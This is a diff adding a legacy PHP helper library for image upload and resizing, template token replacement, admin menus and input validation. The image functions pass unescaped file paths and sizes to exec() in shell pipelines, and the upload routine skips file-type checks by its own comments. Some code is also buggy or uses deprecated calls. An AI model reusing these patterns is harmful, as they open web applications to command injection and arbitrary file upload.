+               // Since output was successful, don't return, just quit
+               
+       exit;
+                        
+}
+
+
+/***********************************************************************
+*                                                                      *
+*                        GRAPHICS FUNCTIONS                            *
+*                                                                             *
+***********************************************************************/
+
+       // Return information about an image                    
+
+function img_info( $path2image ) 
+{
+
+       $type = array
+               (
+               1 => 'GIF', 
+               2 => 'JPG', 
+               3 => 'PNG', 
+               4 => 'SWF', 
+               5 => 'PSD', 
+               6 => 'BMP', 
+               7 => 'TIFF(intel byte order)', 
+               8 => 'TIFF(motorola byte order)', 
+               9 => 'JPC', 
+               10 => 'JP2', 
+               11 => 'JPX', 
+               12 => 'JB2', 
+               13 => 'SWC', 
+               14 => 'IFF',
+               15 => 'WBMP',
+               16 => 'XBM'
+               );                      
+       if( file_exists($path2image) )
+               {
+               $i = GetImageSize(  $path2image );
+               $r['width'] = $i[0];
+               $r['height'] = $i[1];
+               $r['type_num'] = $i[2];
+               $r['type'] = $type[$i[2]];
+               $r['size'] = $i[3];
+               $r['bits'] = $i[4];
+               $r['channels'] = $i[5];
+
+               return( $r );
+               }
+         else
+               return( FALSE );
+}
+
+
+       // Create a thumbnail image based on a full scale jpeg or gif           
+
+function graphic_thumb($img, $timg, $type) 
+{
+       switch( $type ) 
+               {
+               case "image/gif":
+                       $cmd = SI_GRPH_GIFTOPNM." $img | ".SI_GRPH_PNMSCALE." -height ".SI_THEIGHT." | ".SI_GRPH_PPMQUANT." 256 | ".SI_GRPH_PPMTOGIF." -interlace > $timg";
+                       break;
+
+               case "image/jpeg":
+                       $cmd = SI_GRPH_DJPEG." $img | ".SI_GRPH_PNMSCALE." -height ".SI_THEIGHT." | ".SI_GRPH_CJPEG." -outfile $timg";
+                       break;
+
+               default:
+                       echo "<h1>Graphic type not defined: type $type</h1>\n";
+
+                               /* we can only do gifs and jpegs at this point.
+                                * png would be a nice addition
+                                */
+
+                       return( 0 );
+               }
+       exec( $cmd );
+       return( 1 );
+}
+
+
+       // Creates a resized image based on a full scale jpeg or gif            
+
+function graphic_resize( $img, $timg, $type, $w, $h ) 
+{
+       switch ( $type ) 
+               {
+               case "image/gif":
+                       $cmd = SI_GRPH_GIFTOPNM." $img | ";
+                       
+                       if( $w && $h )
+                               $cmd .= SI_GRPH_PNMSCALE." -width $w -height $h |";
+                         elseif( $h )
+                               $cmd .= SI_GRPH_PNMSCALE." -height $h |";
+                         elseif( $w )
+                               $cmd .= SI_GRPH_PNMSCALE." -width $w |";
+                       $cmd .= SI_GRPH_PPMQUANT." 256 | ".SI_GRPH_PPMTOGIF." -interlace > $timg";
+                       break;
+
+               case "image/jpeg":
+                       $cmd = DJPEG." $img | ";
+                       if( $w && $h )
+                               $cmd .= SI_GRPH_PNMSCALE." -width $w -height $h |";
+                         elseif( $h )
+                               $cmd .= SI_GRPH_PNMSCALE." -height $h |";
+                         elseif( $w )
+                               $cmd .= SI_GRPH_PNMSCALE." -width $w |";
+                       $cmd .= CJPEG." -outfile $timg";
+                       
+                       break;
+
+               case "image/pjpeg":
+                       $cmd = DJPEG." $img | ";
+
+                       if( $w && $h )
+                               $cmd .= SI_GRPH_PNMSCALE." -width $w -height $h |";
+                         elseif( $h )
+                               $cmd .= SI_GRPH_PNMSCALE." -height $h |";
+                         elseif( $w )
+                               $cmd .= SI_GRPH_PNMSCALE." -width $w |";
+                       $cmd .= CJPEG." -outfile $timg";
+                       
+                       break;
+
+               default:
+                       echo "<h1>Graphic type not defined: type $type</h1>\n";
+                       /* we can only do gifs and jpegs at this point.
+                        * png would be a nice addition
+                        */
+                       return( 0 );
+               }
+       exec( $cmd );
+       return( 1 );
+}
+
+       
+       // Resize an image based on a full scale jpeg or gif                    
+
+function img_resize( $path2image, $path2thumb, $axis, $size ) 
+{
+       $imageName = basename( $path2image );
+       $thumbName = basename( $path2thumb );
+
+       if( TRUE )              // Not testing submitted file type at this time
+               {
+               $imageAttributes = GetImageSize( $path2image );
+               $imageWidth = $imageAttributes[0];
+               $imageHeight = $imageAttributes[1];
+               if( $imageWidth < $size && $imageHeight < $size ) 
+                       {
+                       exec( "cp $path2image $path2thumb" );
+                       chmod( $path2thumb, 0664 );
+                       }
+             else 
+               {
+                       if( ($axis == "h" || $axis == "a") && ($imageHeight > $imageWidth) ) 
+                       exec( SI_GRPH_CONVERT." -geometry $size $path2image $path2thumb" );
+                       if( ($axis == "w" || $axis == "a") && ($imageWidth >= $imageHeight) ) 
+                               exec( SI_GRPH_CONVERT." -geometry $size $path2image $path2thumb");
+                       }
+
+               $img_resize_array = array( "$imageName", "$path2image", "$thumbName", "$path2thumb" );
+               return( $img_resize_array );
+               }
+         else
+               {
+       echo '<FONT SIZE=4>'
+               .'Unable to complete Resize Function, The file being processed is not an acceptable image file. Please use only .GIF or .JPG files'
+               .'<BR CLEAR=ALL>'
+               .'</FONT>'
+               ."Hit your browser's back button to continue"
+               .'<P>';
+       $error[0] = "ERROR";
+               return( $error );
+               }
+}
+
+       // Upload an image              
+
+function img_upload( $form_field,$img_name,$destination_path ) 
+{
+
+       if (ereg('[!@#$%^&()+={};:\'\\ ]', $img_name))
+               {
+               $img_name = ereg_replace("[!@#$%^&()+={};:'\\ ]", "x", $img_name);
+               $dumb = "dumber";
+               }
+
+       if( TRUE )                      // Huh? - Oh, need to check for legal image type at some point
+               {
+               $i = "0";
+               
+                       // Check for valid destination path
+               
+               if( !is_dir($destination_path) )
+                       die( $destination_path." not a directory" );            // This is totally fatal
+                                       
+                       // Get entries in that directory and check if the supplied name is in use
+                       
+               $d = dir( $destination_path );
+               $img_name_in_use = "FALSE";
+               while ($entry = $d->read())
+                       {
+                       if ($entry == $img_name)
+                               {
+                               $img_name_in_use = "TRUE";
+                               }
+                       ++ $i;
+                       }
+
+               $d->close();
+
+                       // If the name is in use, give it a name that can't match anything 
+                       
+               if( $img_name_in_use == "TRUE" )
+                       {
+                       $new_img_name = mktime().$img_name;
+                       $new_img_location = $destination_path.'/'.$new_img_name;
+
+                               // And store the image in the destination
+                               
+                       copy( $form_field, $new_img_location );
+                       chmod( $new_img_location, 0664 );
+                       $img_upload_array = array( "$new_img_name", "$new_img_location" );
+                       }
+                 else
+                       {
+                               // Otherwise, supplied name is fine
+                               
+                       $new_img_name = $img_name;
+                       $new_img_location = $destination_path.'/'.$new_img_name;
+
+                       copy( $form_field, $new_img_location );
+                       chmod( $new_img_location, 0664 );
+                       $img_upload_array = array( "$new_img_name", "$new_img_location" );
+                       }
+               } 
+         else  // Can't get here right now
+               {
+               echo '<FONT SIZE=4>'.'The file you uploaded was of an incorrect type, please only upload .GIF or .JPG files'.'<BR CLEAR=ALL>'.'</FONT>'."Hit your browser's back button to continue".'<P>';
+               $error[0] = "ERROR";
+               return ($error);
+               }
+
+       return( $img_upload_array );
+}
+
+       // Main image processing function                                       
+
+function process_image( $image, $image_name, $resized_size = SI_RESIZED_SIZE, 
+                                                       $midsized_size = SI_MIDSIZED_SIZE, $thumb_size = SI_THUMB_SIZE ) 
+{
+
+               // Check for paths
+
+       if( !defined("SI_IMG_ORIGINAL_PATH") ) 
+               html_error( "not defined SI_IMG_ORIGINAL_PATH", 1 );
+       if( !defined("SI_IMG_RESIZED_PATH") ) 
+               html_error( "not defined SI_IMG_RESIZED_PATH", 1 );
+       if( !defined("SI_IMG_MIDSIZED_PATH") ) 
+               html_error( "not defined SI_IMG_MIDSIZED_PATH", 1 );
+       if( !defined("SI_IMG_THUMB_PATH") ) 
+               html_error( "not defined SI_IMG_THUMB_PATH", 1 );
+
+       if( !defined("SI_RESIZED_SIZE") ) 
+               html_error( "not defined SI_RESIZED_SIZE",1 );
+       if( !defined("SI_MIDSIZED_SIZE") ) 
+               html_error( "not defined SI_MIDSIZED_SIZE",1 );
+       if( !defined("SI_RESIZED_SIZE") ) 
+               html_error( "not defined SI_THUMB_SIZE",1 );
+               
+       if( !($image_upload_array = img_upload($image, $image_name, SI_IMG_ORIGINAL_PATH)) )
+               html_error( "image could not be uploaded", 1 );
+               
+               // Resize image using progressively smaller images as the source to minimize work
+               
+       img_resize( $image_upload_array[1], SI_IMG_RESIZED_PATH."/".$image_upload_array[0], 'a', SI_RESIZED_SIZE );
+       img_resize( SI_IMG_RESIZED_PATH."/".$image_upload_array[0], SI_IMG_MIDSIZED_PATH."/".$image_upload_array[0], 'a', SI_MIDSIZED_SIZE );
+       img_resize( SI_IMG_MIDSIZED_PATH."/".$image_upload_array[0], SI_IMG_THUMB_PATH."/".$image_upload_array[0], 'a', SI_THUMB_SIZE );
+       $image_name = $image_upload_array[0];
+       
+       return( $image_name );
+}
+
+       // Delete an image
+
+function delete_image( $image_name ) 
+{
+       $ok = TRUE;
+       if( !is_file(SI_IMG_ORIGINAL_PATH."/".$image_name)      || !unlink(SI_IMG_ORIGINAL_PATH."/".$image_name)  )
+               $ok = FALSE;
+       if( !is_file(SI_IMG_RESIZED_PATH."/".$image_name) || !unlink(SI_IMG_RESIZED_PATH."/".$image_name) )
+               $ok = FALSE;
+       if( !is_file(SI_IMG_MIDSIZED_PATH."/".$image_name) || !unlink(SI_IMG_MIDSIZED_PATH."/".$image_name)     )
+               $ok = FALSE;
+       if( !is_file(SI_IMG_THUMB_PATH."/".$image_name) || !unlink(SI_IMG_THUMB_PATH."/".$image_name) )
+               $ok = FALSE;
+               
+       return( $ok );
+}
+
+       // Duplicate an image
+
+function duplicate_image( $image_name ) 
+{
+       
+       if( empty($image_name) )
+               return( "" );
+
+               // Check to see if specified image exists
+               
+       if( !is_file(SI_IMG_ORIGINAL_PATH."/".$image_name)      )
+               return( "" );
+       
+               // Create new file name using "copy_" and timestamp
+               
+       for( $i=1 ; $i<100 ; $i++ )
+               {
+               if( !is_file(SI_IMG_ORIGINAL_PATH."/"."p".$i."_".$image_name) )
+                       break;
+               }
+       
+       if( $i == 100 )
+               return( "" );
+       
+       $new_image_name = "p".$i."_".$image_name;
+
+       copy( SI_IMG_ORIGINAL_PATH."/".$image_name,     SI_IMG_ORIGINAL_PATH."/".$new_image_name ); 
+       copy( SI_IMG_RESIZED_PATH."/".$image_name,      SI_IMG_RESIZED_PATH."/".$new_image_name );
+       copy( SI_IMG_MIDSIZED_PATH."/".$image_name,     SI_IMG_MIDSIZED_PATH."/".$new_image_name );
+       copy( SI_IMG_THUMB_PATH."/".$image_name,                SI_IMG_THUMB_PATH."/".$new_image_name );
+               
+       return( $new_image_name );
+}
+
+
+/***********************************************************************
+*                                                                      *
+*               GENERAL SUPPORT FUNCTIONS / CLASSES                    *
+*                                                                             *
+***********************************************************************/
+
+class timestampfunc
+{
+
+    function newdate( $timestamp )
+       {
+        $z = date( "m:Y", $timestamp );
+        $z = split( ":", $z );
+        return $z;
+       }
+
+    function first_of_month( $timestamp )
+       {
+        $z = $this->newdate( $timestamp );
+        $first_of_month = $z[0]."/1/".$z[1];
+        return strtotime( $first_of_month );
+               }
+
+    function first_last_month( $timestamp )
+       {
+        $z = $this->newdate( $timestamp );
+               $z[0]--;
+        if( $z[0] <= 0 )
+                       {
+            $z[0] = 12;
+            $z[1]--;
+               }
+        $first_of_month = ($z[0])."/1/".$z[1];
+        return strtotime( $first_of_month );
+       }
+
+    function first_next_month( $timestamp )
+       {
+        $z = $this->newdate( $timestamp );
+               $z[0]++;
+        if( $z[0] > 12 )
+                       {
+               $z[0] = 1;
+               $z[1]++;
+               }
+        $first_of_month = ($z[0])."/1/".$z[1];
+        return strtotime( $first_of_month );
+       }
+
+    function first_of_Xmonth( $timestamp, $x )
+       {
+        $z = $this->newdate( $timestamp );
+        $r = mktime( 0,0,0, ($z[0]+$x), 1, $z[1] );
+        return $r;
+       }
+            
+}
+
+
+       // Return Positive values only, otherwise 0
+function pos_value( $value )
+{
+       if( $value > 0 )
+               return( $value );
+       return( 0 );
+}
+
+
+       // Format a number as US Dollars
+function money( $value, $option = "" )
+{
+       if( $option == "NOPREFIX" )
+               $prefix = "";
+         else
+               $prefix = "$";
+               // Do value sanity check
+               
+       if( !is_numeric( $value ) )
+               return( $prefix."0.00" );
+       return( $prefix.number_format($value, 2, ".", "," ) );
+}
+
+
+       // Convert "key^value~key^value" string to an array
+function strtoarray( $s )
+{
+                       
+       $a = array();
+       
+               // Create array of entries - If there's less than 2 entries, fail
+               
+       if( count($ea = explode( '~', $s )) < 2 )
+               return( FALSE );
+
+       foreach( $ea as $e )
+               {
+                       // Each entry must have exactly 2 parts
+                       
+               if( count($d = explode( "^", $e )) != 2 )
+                       return( FALSE );
+               
+               $a[trim($d[0])] = trim($d[1]);
+               }
+               
+       return( $a );
+}
+
+
+       // Convert array to a "key^value~key^value" string 
+
+function arraytostr( $a )
+{
+                       
+       $s = '';
+       
+               // Supplied value must be array of 2 or more entries
+               
+       if( !is_array($a) || count($a) < 2 )
+               return( FALSE );
+
+       $sep = "";
+       
+       while( list($k,$v) = each($a) )
+               {
+               $s .= $sep."$k^$v";                     
+               $sep = '~';
+               }
+               
+       return( $s );
+}
+
+
+       // Replace {tokens}
+function replace_tokens( $s, $tokens )
+{
+
+       if( !is_array($tokens) )
+               {
+               echo '<P>ERROR: replace_tokens() - Parameter 2 ($tokens) is not an array<P>';
+               exit;
+               }
+               
+       while( list($k,$v) = each($tokens) ) 
+               {
+               $s = str_replace( "{".$k."}", $v, $s );                 // Non ereg version - faster, case must match
+//             $s = eregi_replace( "\\{".$k."\\}", $v, $s );   // Ereg version
+               }
+       
+       return( $s );
+       
+}
+       
+
+       // Conditionally replace tokens
+function cond_replace_tokens( $s, $tokens, $x="cond" )
+{
+       
+       if( !is_array($tokens) )
+               {
+               echo '<P>ERROR: cond_replace_tokens() - Parameter 2 ($tokens) is not an array<P>';
+               exit;
+               }
+                               
+       while( list($k,$v) = each($tokens) ) 
+               {
+               $p0 = 0;        // Reset starting pointer position
+
+               while( ($start = strpos( $s, "<!--{if:".$k, $p0 )) !== false )
+                       {
+                       if( strcspn( substr($s,$start+8+strlen($k)), "=!><}" ) == 0 )    // Check to make sure it's not a substring of another token
+                               {
+       
+                               if( !($if_end = strpos( $s, "}-->", $start )) )                                                 // Find end of {if:} tag
+                                       return( "ERROR: cond_replace_tokens() - Can't find end of {if:} tag at $start.<P><PRE>\n\n".htmlentities(substr($s,$start,500))."</PRE>" );
+                                       
+                               $p = $start + 8 + strlen($k);                                                                                   // Set position where "=" should be if it's used
+                               $cond = substr($s,$p,1);
+                               switch( $cond )
+                                       {
+                                       case "=":
+                                       case "!":
+                                       case ">":
+                                       case "<":
+                                               $if_val_test = TRUE;                                                                                    // If valid comparison character?
+                                               $if_val = substr( $s, $p+1, $if_end-$p-1 );
+                                               break;
+                                       default:
+                                               $if_val_test = FALSE;
+                                               break;                          
+                                       }
+                                                                       
+                                       // Separate out strings for both yes and no conditions
+                                       
+                               $yes_start = $if_end + 4;                                                                                               // Point past tag
+                               $ci = "";                                                                                                                               // Closed {/if} take intro only if there's no {else}
+                               $else_if = strpos( $s, "<!--{else:$k}", $yes_start );
+                               $slash_if = strpos( $s, "<!--{/if:$k}-->", $yes_start );
+                               if( $else_if && ( !$slash_if || ($else_if < $slash_if) )  )                             // If there's an {else}
+                                       {
+                                       $yes_string = substr( $s, $yes_start, $else_if-$yes_start );                            
+                                       $no_start = $else_if + 11 + strlen($k);                                                                                         // Point past tag
+                                       if( !($no_end = strpos( $s, "{/if:$k}-->", $no_start )) )                                       // If there's no --> end of cond tag
+                                               return( "ERROR: cond_replace_tokens() - Matching {/if:} tag not found after {else:} at $start for \"$k\".<P><PRE>\n\n".htmlentities(substr($s,$start,500))."</PRE>" );
+               
+                                       $end = $no_end + 9 + strlen($k);
+                                       
+                                       $no_string = substr( $s, $no_start, $no_end-$no_start );                                
+                                       }
+                                 else
+                                       {
+                                       $no_string = "";
+                                       if( !($slash_if = strpos( $s, "<!--{/if:$k}-->", $yes_start )) )                                        // If there's no end of cond tag
+                                               return( "ERROR: cond_replace_tokens() - Matching {/if} tag not found at $start for \"$k\".<P><PRE>\n\n".htmlentities(substr($s,$start,500))."</PRE>" );
+                                       $end = $slash_if + 13 + strlen($k); 
+                                       $yes_string = substr( $s, $yes_start, $slash_if-$yes_start );
+                                       }
+                                       
+                               if( $if_val_test != FALSE )                                                                                             // If there's a compare value, test with that
+                                       switch( $cond )
+                                               {
+                                               case "=":
+                                                       $t = ( trim($v) == trim($if_val) );
+                                                       break;
+                                               case "!":
+                                                       $t = ( trim($v) != trim($if_val) );
+                                                       break;
+                                               case ">":
+                                                       $t = ( trim($v) > trim($if_val) );
+                                                       break;
+                                               case "<":
+                                                       $t = ( trim($v) < trim($if_val) );
+                                                       break;
+                                               default:
+                                                       return( "ERROR: cond_replace_tokens() - Internal unknown conditional operator error ($cond)- Code Bad, fix code!" );
+                                               }
+                                 else                                                                                                                                  // otherwise just use token value
+                                       $t = ( trim($v) != "" );                                                                                        //   if it's not empty use yes_string
+                                               
+                               if( $t )                                                                                                                                // Replace with appropriate string
+                                       $s = substr_replace( $s, $yes_string, $start, $end-$start );
+                                 else
+                                       $s = substr_replace( $s, $no_string, $start, $end-$start );
+                               }
+                         else
+                               $p0 = $start + 1;
+                       }
+                       $p0 = $start;
+               }
+
+       return( $s );
+       
+}
+       
+       // Replace {file:xxx} token with a file
+function replace_file_tokens( $s )
+{
+       
+       $p0 = 0;        // Reset starting pointer position
+
+       while( $p0 < strlen($s) && ($start = strpos( $s, "<!--{file:", $p0 )) )
+               {
+               if( !($file_end = strpos( $s, "}-->", $start )) )                                               // Find end of {file:} tag
+                       return( "ERROR: replace_file_tokens() - Can't find end of {file:} tag at $start.<P><PRE>\n\n".htmlentities(substr($s,$start,500))."</PRE>" );
+
+               $filename = substr( $s, $start+10, $file_end-$start-10 );                               // Get file name        
+                       // Check for a matching <!--{/file}--> tag
+                       
+               if( ($slash_file = strpos( $s, "<!--{/file}-->", $file_end))                    // If there's a {/file} tag
+                       && !($next_file = strpos( $s, "<!--{file:", $file_end))                         // and there's not another {file:} tag
+                       || ( $next_file && $slash_file < $next_file ) )                                         // or it's beyond our {/file} tag
+                       {
+                       $file_end = $slash_file + 10;                                                           // Point to "}-->"
+                       }
+                       
+               $end = $file_end + 4;
+               
+                       // Check if file name is valid
+                       
+               if( ($file_contents = file_get( $filename )) == FALSE )
+                       return( "ERROR: replace_file_tokens() - Can't load specified file '$filename' for {file:} tag.<P><PRE>\n\n".htmlentities(substr($s,$start,500))."</PRE>" );                             
+
+               $s = substr_replace( $s, $file_contents, $start, $end-$start );
+
+               $p0 = $end;
+               }
+
+       return( $s );
+       
+}
+       
+
+       // Convert an array of data to an HTML table
+function tableize_array($arr, $len=100 )
+{
+               // Verify that parameter is actually an array
+
+       if( !is_array($arr) )
+               {
+               $return = "Error: Variable not an array";
+               return $return;
+               }
+
+               // If everything's going fine so far, build out the table
+
+       $return = '<P><table width="100%" bordercolor="black" border="1">';
+       
+       foreach( $arr as $key=>$val )
+               {
+               $return .= '<tr><td align="left" valign="top" width="10%" nowrap>'.$key.'</td> <td align="left" valign="top" width="90%">';
+               if( is_array($val) )
+                       $return .= tableize_array( $val );
+                 else
+                       {
+                       if( strlen($val) > $len )
+                               $x = substr( $val, 0, $len ).".......";
+                         else
+                               $x = $val;
+                       $return .= "<PRE>".htmlentities( $x )."</PRE>";
+                       }
+                       
+        $return .= "</td></tr>\n";
+        }
+       
+       $return .= "</table>";
+
+       return  $return;
+}
+
+
+       // Select field data from an array based on which function it will be used for
+       // returning a string suitable for the admin_ functions
+
+function admin_field_select( $fields, $filter )
+{
+
+       $r = '';
+       $sep = '';
+
+       if( ! is_array($fields) || trim($filter) == '' )
+               {
+               echo "<P>ERROR: admin_field_select() - No Field or Filter data supplied!<P>";
+               return( FALSE );
+               }
+               
+       foreach( $fields as $f )
+               {
+               $x = explode( ',', $f );
+               if( strstr( $x[5], $filter ) )
+                       {
+                       if( $filter == 'f' )    // List filters require slight difference in fields
+                               $r .= $sep.$x[0].','.$x[1].','.$x[2].','.$x[4];
+                         else
+                               $r .= $sep.$x[0].','.$x[1].','.$x[2].','.$x[3].','.$x[4];
+                       $sep = '|';
+                       }
+               }
+                               
+       return( $r );
+}
+
+       // Select field data from an array based on which function it will be used for
+       // returning an array of arrays of data.
+
+function admin_fields_select_array( $fields, $filter )
+{
+
+       $r = array();
+
+       if( ! is_array($fields) || trim($filter) == '' )
+               {
+               echo "<P>ERROR: admin_field_select_array() - No Field or Filter data supplied!<P>";
+               return( FALSE );
+               }
+               
+       while( list($key, $val) = each($fields) )
+               {
+               $x = explode( ',', $val );
+               if( strstr( $x[5], $filter ) )
+                       {                       
+                       $r[$key]['name'] = trim($x[0]);
+                       $y = explode( '.', trim($x[1]) );
+                       foreach( $y as $z )
+                               $r[$key]['type'][] = trim($z);
+                       $r[$key]['title'] = trim($x[2]);
+                       $r[$key]['required'] = trim($x[3]);
+                       $r[$key]['variable'] = trim($x[4]);
+                       $r[$key]['sample'] = trim($x[6]);
+                       }
+               }
+               
+       return( $r );
+}
+
+       // Generate standard admin low-level menu
+
+       // New version using standard HTML (<div>'s) for admin sections
+function admin_menu_std( $action, $a_title, $id, $opt, $options = 'lveda', $add_menu = '', $params = '' )
+{
+
+       $m = '';
+       $nl = "\n";
+
+//     if( $a_title != '' )
+//             $m .= '<span class="submenu_title">'.$a_title.':</span>';
+
+       $link = SI_THIS_SCRIPT.'?Action='.urlencode($action);
+       if( trim($params) != '' )
+               $link .= '&'.$params;
+
+       if( strstr($options,'l') )
+               {
+               if( $opt == "List" )
+                       $m .= '<li class="active">[List]</li>'.$nl;
+                 else
+                       $m .= '<li class="inactive" id="current"><a href="'.$link.'&Option=List">[List]</A></li>'.$nl;
+               }
+               
+       if( strstr($options,'v') )
+               {
+               if( $opt == "View" )
+                       $m .= '<li class="active">[View]</li>'.$nl;
+                 elseif( empty($id) )
+                       $m .= '<li class="unavailable">[View]</li>'.$nl;
+                 else
+                       $m .= '<li class="inactive"><a href="'.$link.'&Option=View&id='.$id.'">[View]</a></li>'.$nl;
+               }
+               
+       if( strstr($options,'e') )
+               {
+               if( $opt == "Edit" )
+                       $m .= '<li class="active">[Edit]</li>'.$nl;
+                 elseif( empty($id) )
+                       $m .= '<li class="unavailable">[Edit]</li>'.$nl;
+                 else
+                       $m .= '<li class="inactive"><a href="'.$link.'&Option=Edit&id='.$id.'">[Edit]</A></li>'.$nl;
+               }
+               
+       if( strstr($options,'d') )
+               {
+               if( $opt == "Delete" )
+                       $m .= '<li class="active">[Delete]<</li>'.$nl;
+                 elseif( empty($id) )
+                       $m .= '<li class="unavailable">[Delete]</li>'.$nl;
+                 else
+                       $m .= '<li class="inactive"><a href="'.$link.'&Option=Delete&id='.$id.'">[Delete]</a></li>'.$nl;
+               }
+               
+       if( strstr($options,'a') )
+               {
+               if( $opt == "Add" )
+                       $m .= '<li class="active">[Add]</li>'.$nl;
+                 else
+                       $m .= '<li class="inactive"><a href="'.$link.'&Option=Add">[Add]</A></li>'.$nl;
+               }
+               
+       if( $add_menu != '' )
+               $m .= " - $add_menu".$nl;
+               
+       return( $m );
+}
+       // Standard version
+function admin_menu( $action, $a_title, $id, $opt, $options = 'lveda', $add_menu = '', $params = '' )
+{
+
+       $m = '<SPAN CLASS="menu_title">'.$a_title.':</SPAN>&nbsp;</B>';
+
+       $link = SI_THIS_SCRIPT.'?Action='.urlencode($action);
+       if( trim($params) != '' )
+               $link .= '&'.$params;
+
+       if( strstr($options,'l') )
+               {
+               if( $opt == "List" )
+                       $m .= '<SPAN CLASS="menu_active">[List]</SPAN>&nbsp;';
+                 else
+                       $m .= '<A HREF="'.$link.'&Option=List">[List]</A>&nbsp;';
+               }
+               
+       if( strstr($options,'v') )
+               {
+               if( $opt == "View" )
+                       $m .= '<SPAN CLASS="menu_active">[View]</SPAN>&nbsp;';
+                 elseif( empty($id) )
+                       $m .= '[View]&nbsp;';
+                 else
+                       $m .= '<A HREF="'.$link.'&Option=View&id='.$id.'">[View]</A>&nbsp;';
+               }
+               
+       if( strstr($options,'e') )
+               {
+               if( $opt == "Edit" )
+                       $m .= '<SPAN CLASS="menu_active">[Edit]</SPAN>&nbsp;';
+                 elseif( empty($id) )
+                       $m .= '[Edit]&nbsp;';
+                 else
+                       $m .= '<A HREF="'.$link.'&Option=Edit&id='.$id.'">[Edit]</A>&nbsp;';
+               }
+               
+       if( strstr($options,'d') )
+               {
+               if( $opt == "Delete" )
+                       $m .= '<SPAN CLASS="menu_active">[Delete]</SPAN>&nbsp;';
+                 elseif( empty($id) )
+                       $m .= '[Delete]&nbsp;';
+                 else
+                       $m .= '<A HREF="'.$link.'&Option=Delete&id='.$id.'">[Delete]</A>&nbsp;';
+               }
+               
+       if( strstr($options,'a') )
+               {
+               if( $opt == "Add" )
+                       $m .= '<SPAN CLASS="menu_active">[Add]</SPAN>&nbsp;';
+                 else
+                       $m .= '<A HREF="'.$link.'&Option=Add">[Add]</A>&nbsp;';
+               }
+               
+       if( $add_menu != '' )
+               $m .= " - $add_menu";
+               
+       return( $m );
+}
+
+
+       // Clean up input parameters and test them for proper type of data
+       
+function clean_input( $var_name, $type = 'text', $required = false ) 
+{
+
+       $reason  = '';                  // If problems, indicates reason here
+       
+               // Trim whitespace, slashes, and stupid characters
+               
+       $in = stripslashes( trim( $GLOBALS[$var_name] ) );
+       
+       if( $in != '' )
+               {
+               switch( $type )
+                       {
+                               
+                       case 'int':
+                               if( !is_numeric($in) )
+                                       $reason = 'not an integer';
+                                 else
+                                       $in = intval( $in );
+                               break;
+                               
+                       case 'float':
+                               $in = preg_replace( "/^(\\$)?(.*)$/i", "\\2", $in );
+                               if( !is_numeric( $in ) )
+                                       $reason = 'not a valid number'; 
+                                 else
+                                       $in = floatval( $in );
+                               break;
+                               
+                       case 'phone':
+                               if( preg_match( "/^((\([0-9]{3}\))[ ]*|([0-9]{3}) *-* *)?[0-9]{3} *-* *[0-9]{4} *.{0,10}$/i", $in ) == 0 )
+                                       $reason = 'not a valid phone number';
+                                 else  // Reformat as we want it
+                                       $in = preg_replace( "/^((\(([0-9]{3})\))[ ]*|(([0-9]{3}))[ -]*)?([0-9]{3}) *-* *([0-9]{4}) *(.{0,10})$/i", "\\3\\4-\\6-\\7 \\8", $in );
+                               break;
+                               
+                       case 'zip':
+                                       // Check if it's a US ZIP
+                               if( preg_match( "/^(([0-9]{5})([ -+]?([0-9]{4}))?)$/i", $in ) != 0 )
+                                       {
+                                       $in = preg_replace( "/^([0-9]{5})[ -+]?([0-9]{4})$/i", "\\1-\\2", $in );
+                                       if( strlen($in) < 8 )
+                                               {
+                                               $in = preg_replace( "/^([0-9]{5}).*/i", "\\1", $in );
+                                               }
+                                       }
+                                 elseif( preg_match( "/^[a-zA-Z]\d[a-zA-Z][ -]?\d[a-zA-Z]\d$/i", $in ) != 0 )
+                                       {
+                                       $in = preg_replace( "/^([a-zA-Z]\d[a-zA-Z])[ -]?(\d[a-zA-Z]\d)$/i", "\\1 \\2" ,$in );
+                                       }
+                                 else
+                                       $reason = 'not a valid ZIP or Postal Code';
+                               break;
+                               
+                       case 'state':
+                               global $si_states_array;
+                               if( !isset($si_states_array[$in]) )
+                                       $reason = 'not a valid state code';
+                               break;
+                               
+                       case 'country':
+                               global $si_countries_array;
+                               if( !isset($si_countries_array[$in]) )
+                                       $reason = 'not a valid country code';
+                               break;
+                               
+                       case 'email':
+                               if( preg_match( "/^[A-Z0-9._%-]+@[A-Z0-9._%-]+\.[A-Z]{2,4}$/i", $in ) == 0 )
+                                       $reason = 'not a valid E-Mail address';
+                               break;
+                               
+                       case 'creditcard':
+                               global $si_cc_verify;
+                               $match = FALSE;
+                               reset( $si_cc_verify );
+                               while( list($k, $v) = each($si_cc_verify) ) 
+                                       {
+                                       if( preg_match( "/".$v."/i", $in ) != 0 )
+                                               {
+                                               $match = TRUE;
+                                               break;
+                                               }
+                                       }
+                               if( !$match )
+                                       $reason = 'not a valid credit card number';
+                               break;
+                               
+                       case 'date':
+                               if( ($t = strtotime($in)) === -1 )
+                                       $reason = 'not a valid date';
+                                 else
+                                   $in = date( 'n/j/Y', $t );
+                               break;
+       
+                       case 'text':
+                               break;
+
+                       case 'inet':
+                               if( preg_match( "/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/i", $in ) == 0 )
+                                       $reason = 'not a valid IP address or netmask';
+                               break;
+                               
+                       default:
+                               break;
+                               
+                       }
+               }
+               
+               // Check for a required field
+               
+       if( $required && $in == '' )
+               $reason .= ($reason != '' ? ' and is ':'' ).'required';
+               
+       $GLOBALS[$var_name] = $in;
+       return( $reason );
+
+}
+       // Convert data to search engine friendly URL
+       
+function data_to_url( $prefix = '' ) 
+{
+       
+       $url = $prefix;
+       
+               // Make sure we have at least a prefix and one parameter
+               
+       if( ($args = func_get_args()) == 0 || count($args) < 2 )
+               return( false );
+               
+       for( $i=1 ; $i<count($args) ; $i++ )
+               $url .= '/'.urlencode(trim($args[$i]));
+               
+       return( $url );
+}
+
+
+       // Convert Search Engine Friendly URL to Data
+
+function url_to_data( $url, $start_key )       // Expects additional parameters that define the name of each url parameter
+{
+
+               // Make sure we have valid data
+               
+       $args = func_get_args();
+       if( count($args) < 3 )
+               return( false );
+
+       if( ($url=trim($url)) == '' )
+               return( false );        
+
+               // If start_key is null, assume key is found and start with first parameter in URL
+       
+       $key_found = ( ($start_key=trim($start_key)) == '' );
+
+               // Break out incoming URL and search for start key
+               
+       $in = explode( '/', $url );
+       for( $u=0 ; $u<=count($in) ; )
+               if( ($key_found = ( $in[$u++] == $start_key )) )
+                       break;
+
+       if( !$key_found )
+               return( false );
+
+               // Stuff remaing data into return array
+       
+       if( count($in) < $u )
+               return( false );
+       
+       $data = array();
+       $data_found = false;
